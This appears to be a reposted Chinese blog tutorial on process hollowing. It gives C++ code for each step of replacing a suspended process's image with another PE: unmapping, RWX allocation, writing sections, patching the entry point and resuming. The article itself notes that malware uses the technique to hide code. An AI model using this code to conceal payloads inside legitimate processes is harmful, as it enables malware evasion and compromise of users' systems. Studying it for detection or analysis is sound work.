傀儡进程技术分析(转)

前言:

傀儡进程是将目标进程的映射文件替换为指定的映射文件,替换后的进程称之为傀儡进程;常常有恶意程序将隐藏在自己文件内的恶意代码加载进目标进程,而在加载进目标进程之前,会利用ZwUnmpViewOfSection或者NtUnmapViewOfSection进行相关设置

相关技术要点

1.创建挂起进程

系统函数CreateProcessW中参数dwCreationFlgs传递CREATE_SUSPEND便可以创建一个挂起的进程,进程被创建之后系统会为它分配足够的资源和初始化必要的操作,(常见的操作有:为进程分配空间,加载映像文件,创建主进程,将EIP指向代码入口点,并将主线程挂起等)

查看MSDN,下面是CreateProcessW的原型:

BOOL WINAPI CreateProcess(
  _In_opt_    LPCTSTR               lpApplicationName,
  _Inout_opt_ LPTSTR                lpCommandLine,
  _In_opt_    LPSECURITY_ATTRIBUTES lpProcessAttributes,
  _In_opt_    LPSECURITY_ATTRIBUTES lpThreadAttributes,
  _In_        BOOL                  bInheritHandles,
  _In_        DWORD                 dwCreationFlags,
  _In_opt_    LPVOID                lpEnvironment,
  _In_opt_    LPCTSTR               lpCurrentDirectory,
  _In_        LPSTARTUPINFO         lpStartupInfo,
  _Out_       LPPROCESS_INFORMATION lpProcessInformation
);

2.创建挂起进程实例代码:

STARTUPINFOA   stSi = {0};
PROCESS_INFORMATION stPi = {0};
stSi.cb = sizeof(stSi);
if (CreateProcessA(strTargetProcess.c_str(),NULL,NULL,
                                NULL, FALSE,CREATE_SUSPENDED,        
                                NULL, NULL,&stSi, &stPi) == 0)
{
           return FALSE;
}

/*
typedef struct _STARTUPINFO {
  DWORD  cb;/*包含STARTUPINFO结构中的字节数.如果Microsoft将来扩展该结构,它可用作版本控制手段.应用程序必须将cb初始化为sizeof(STARTUPINFO)*/

  LPTSTR lpReserved;
  LPTSTR lpDesktop;
  LPTSTR lpTitle;
  DWORD  dwX;
  DWORD  dwY;
  DWORD  dwXSize;
  DWORD  dwYSize;
  DWORD  dwXCountChars;
  DWORD  dwYCountChars;
  DWORD  dwFillAttribute;
  DWORD  dwFlags;
  WORD   wShowWindow;
  WORD   cbReserved2;
  LPBYTE lpReserved2;
  HANDLE hStdInput;
  HANDLE hStdOutput;
  HANDLE hStdError;
} STARTUPINFO, *LPSTARTUPINFO;
STARTUPINFO结构 该结构用于指定新进程的主窗口特性



typedef struct _PROCESS_INFORMATION {
  HANDLE hProcess;//返回新进程的句柄
  HANDLE hThread;//返回主线程的句柄
  DWORD  dwProcessId;//返回一个全局进程标识符
  DWORD  dwThreadId;//返回一个全局进程标识符
} PROCESS_INFORMATION, *LPPROCESS_INFORMATION;
在创建进程时相关的数据结构之一,该结构返回有关新进程及其主线程的信息

*/

2.保存现场,收集信息

傀儡进程在替换目标进程之前,必须要保存当前线程的上下文环境,在替换完成后要及时恢复。这样系统才能将傀儡进程视为“正常”进程,而不会被发现。另外为了后边清空内存空间的操作,也必须要通过上下文获得进程的加载基地址。利用系统函数GetThreadContext()便可得到当前的线程上下文。相关的API和结构信息如下:

BOOL WINAPI GetThreadContext(
  __in          HANDLE hThread,
  __in_out      LPCONTEXT lpContext
);

typedef struct _CONTEXT {
    DWORD ContextFlags;
    DWORD   Dr0;
    DWORD   Dr1;
    DWORD   Dr2;
    DWORD   Dr3;
    DWORD   Dr6;
    DWORD   Dr7;
    DWORD   SegGs;
    DWORD   SegFs;
    DWORD   SegEs;
    DWORD   SegDs;
    DWORD   Edi;
    DWORD   Esi;
    DWORD   Ebx;
    DWORD   Edx;
    DWORD   Ecx;
    DWORD   Eax;
    DWORD   Ebp;
    DWORD   Eip;
    DWORD   SegCs;              // MUST BE SANITIZED
    DWORD   EFlags;             // MUST BE SANITIZED
    DWORD   Esp;
    DWORD   SegSs;
    BYTE    ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
} CONTEXT;

获取线程信息实例代码:

CONTEXT stThreadContext;
 stThreadContext.ContextFlags = CONTEXT_FULL;
 if (GetThreadContext(stPi.hThread, &stThreadContext) == 0)
 {
    return FALSE;
 }

3.清空目标进程

目标进程被初始化后,进程的映像文件也随之被加载进对应的内存空间。傀儡进程在替换之前必须将目标进程的内容清除掉。此时要用到另外一个系统未文档化的函数NtUnmapViewOfSection,需要自行从ntdll.dll中获取。该函数需要指定的进程加载的基地址,基地址即是从第2步中的上下文取得。相关的函数说明及基地址计算方法如下:

NTSTATUS NtUnmapViewOfSection(
  _In_     HANDLE ProcessHandle,
  _In_opt_ PVOID  BaseAddress
);

context.Ebx+ 8 = 基地址的地址,因此从context.Ebx + 8的地址读取4字节的内容并转化为DWORD类型,既是进程加载的基地址。示例代码如下:

BOOL  UnMapTargetProcess(HANDLE hProcess, CONTEXT& stThreadContext)
{
    DWORD dwProcessBaseAddr = 0;
    if (ReadProcessMemory(hProcess, (LPCVOID)(stThreadContext.Ebx + 8),                                                                                  &dwProcessBaseAddr, sizeof(PVOID), NULL) == 0)
    {
        return FALSE;
    }
    HMODULE hNtModule = GetModuleHandle(_T("ntdll.dll"));
    if (hNtModule == NULL)
    {
        return FALSE;
    }
    NtUnmapViewOfSection  pfnNtUnmapViewOfSection  =                     (NtUnmapViewOfSection)GetProcAddress(hNtModule, "NtUnmapViewOfSection");
    if (pfnNtUnmapViewOfSection == NULL)
    {
        return FALSE;
    }
    return (pfnNtUnmapViewOfSection(hProcess, (PVOID)dwProcessBaseAddr) == 0);
}

4.重新分配空间

在第3步中,NtUnmapViewOfSection将原始空间清除并释放了,因此在写入傀儡进程之前需要重新在目标进程中分配大小足够的空间。需要用到跨进程内存分配函数VirtualAllocEx。

LPVOID WINAPI VirtualAllocEx(
  __in          HANDLE hProcess,
  __in          LPVOID lpAddress,
  __in          SIZE_T dwSize,
  __in          DWORD flAllocationType,
  __in          DWORD flProtect
);

一般情况下,在写入傀儡进程之前,需要将傀儡进程对应的文件按照申请空间的首地址作为基地址进行“重定位”,这样才能保证傀儡进程的正常运行。为了避免这一步操作,可以以傀儡进程PE文件头部的建议加载基地址作为VirtualAllocEx 的lpAddress参数,申请与之对应的内存空间,然后以此地址作为基地址将傀儡进程写入目标进程,就不会存在重定位问题。关于“重定位”的原理可以自行网络查找相关资料。示例代码如下

LPVOID lpPuppetProcessBaseAddr =
VirtualAllocEx(stPi.hProcess, (LPVOID)pNtHeaders->OptionalHeader.ImageBase,
            pNtHeaders->OptionalHeader.SizeOfImage,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE);
if (lpPuppetProcessBaseAddr == NULL)
{
    return FALSE;
}

5.写入傀儡进程

准备工作完成后,现在开始将傀儡进程的代码写入到对应的空间中,注意写入的时候要按照傀儡进程PE文件头标明的信息进行。一般是先写入PE头,再写入PE节,如果存在附加数据还需要写入附加数据。示例代码如下:

// 替换PE头
BOOL bRet = WriteProcessMemory( stPi.hProcess, 
                              lpPuppetProcessBaseAddr, 
                              lpPuppetProcessData,
                              pNtHeaders->OptionalHeader.SizeOfHeaders, 
                              NULL);
if (!bRet)
{
    return FALSE;
}
// 替换节
LPVOID lpSectionBaseAddr = (LPVOID)((DWORD)lpPuppetProcessData 
                       + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
PIMAGE_SECTION_HEADER pSectionHeader;
DWORD dwIndex = 0;
for (;dwIndex < pNtHeaders->FileHeader.NumberOfSections; ++dwIndex)
{
    pSectionHeader = (PIMAGE_SECTION_HEADER)lpSectionBaseAddr;
    bRet = WriteProcessMemory(stPi.hProcess,
         (LPVOID)((DWORD)lpPuppetProcessBaseAddr+
                                             pSectionHeader->VirtualAddress),
         (LPCVOID)((DWORD)lpPuppetProcessData+                                                                                                 pSectionHeader->PointerToRawData),
         pSectionHeader->SizeOfRawData,
         NULL);
    if (!bRet)
    {
         return FALSE;
    }
    lpSectionBaseAddr=(LPVOID)((DWORD)lpSectionBaseAddr+                                                                        sizeof(IMAGE_SECTION_HEADER));
 }

6. 恢复现场并运行傀儡进程

在第2步中,保存的线程上下文信息需要在此时就需要及时恢复了。由于目标进程和傀儡进程的入口点一般不相同,因此在恢复之前,需要更改一下其中的线程入口点,需要用到系统函数SetThreadContext。将挂起的进程开始运行需要用到函数ResumeThread。

BOOL WINAPI SetThreadContext(
  __in          HANDLE hThread,
  __in          const CONTEXT* lpContext
);
DWORD WINAPI ResumeThread(
  __in          HANDLE hThread
);

// 替换PEB中基地址
DWORD dwImageBase = pNtHeaders->OptionalHeader.ImageBase;
bRet = WriteProcessMemory(stPi.hProcess, (LPVOID)(stThreadContext.Ebx + 8),                                                                 (LPCVOID)&dwImageBase, sizeof(PVOID), NULL);
if (!bRet)
{
    return FALSE;
}
// 替换入口点
stThreadContext.Eax = dwImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint;
bRet = SetThreadContext(stPi.hThread, &stThreadContext);
if (!bRet)
{
    return FALSE;
}
ResumeThread(stPi.hThread);
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,088评论 5 459
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,715评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,361评论 0 319
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,099评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 60,987评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,063评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,486评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,175评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,440评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,518评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,305评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,190评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,550评论 3 298
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,880评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,152评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,451评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,637评论 2 335